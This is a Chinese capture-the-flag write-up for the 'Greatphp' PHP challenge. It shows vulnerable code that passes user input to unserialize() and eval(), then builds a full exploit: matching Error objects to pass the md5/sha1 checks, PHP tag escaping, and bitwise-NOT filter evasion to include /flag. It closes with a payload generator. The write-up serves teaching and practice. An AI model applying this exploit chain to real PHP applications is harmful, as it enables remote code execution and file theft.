[极客大挑战 2020]Greatphp.md

<?php
error_reporting(0);
class SYCLOVER {
    public $syc;
    public $lover;

    public function __wakeup(){
        if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
           if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
               eval($this->syc);
           } else {
               die("Try Hard !!");
           }
           
        }
    }
}

if (isset($_GET['great'])){
    unserialize($_GET['great']);
} else {
    highlight_file(__FILE__);
}

?>

好消息——是反序列化 坏消息——考的不是反序列化

需要绕过md5sha1的比较,第一个想到的是数组绕过,但是syc需要作为eval的参数,因此需要不能为数组

这里利用Error类绕过,其通过__toString魔术方法定义了隐式转换为字符串的方法,通过创建两个向字符串隐式转换结果相同的Error对象,即可令md5sha1的结果相同,同时改变不影响转换结果的Error的某个属性,即可在此基础上使两个Error对象的弱相等比较结果为假

<?php
$a = new Error("php_wa_sai_kou!", 233);
echo $a;
Error: php_wa_sai_kou! in /home/chen/proj/php/demo/index.php:2
Stack trace:
#0 {main}

创建一个简单的Error对象,观察到影响字符串表示的只有创建Error对象时的当前行号以及传递的错误消息

因此将两个创建Error对象的语句放在同一行,令错误消息相同,但错误码不同即可绕过棘手的相等性判断

<?php
$a = new Error("php_wa_sai_kou!", 233); $b = new Error("php_wa_sai_kou!");
echo $a != $b && md5($a) === md5($b) && sha1($a) === sha1($b);
1

由于Error对象的字符串表示包含了杂七杂八的信息,因此简单地将要执行的代码作为错误消息构造出来的Error对象转换为字符串后并不能被eval正确执行

考虑到eval的实现利用了字符串拼接,可以通过php标签将各个部分隔离起来

<?php
$message = "?><?php echo 'php_wa_sai_kou!';?>";
$err = new Error($message);
eval($err);
php_wa_sai_kou! in /home/chen/proj/php/demo/index.php:3
Stack trace:
#0 {main}
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)) {...}

这里过滤了双引号和左右括号,因此使用include关键字包含/flag,同时利用取反绕过

<?php
$message = "?><?php include ~" . ~"/flag" . "?>";
$err = new Error($message);
eval($err);

最后序列化即可

<?php

class SYCLOVER
{
    public $syc;
    public $lover;
}

$message = "?><?= include ~" . ~"/flag" . "?>";
$err1 = new Error($message, 1); $err2 = new Error($message, 2);

$payload = new SYCLOVER();
$payload->syc = $err1;
$payload->lover = $err2;

echo urlencode(serialize($payload));

#Web #PHP #serialization #bypass #error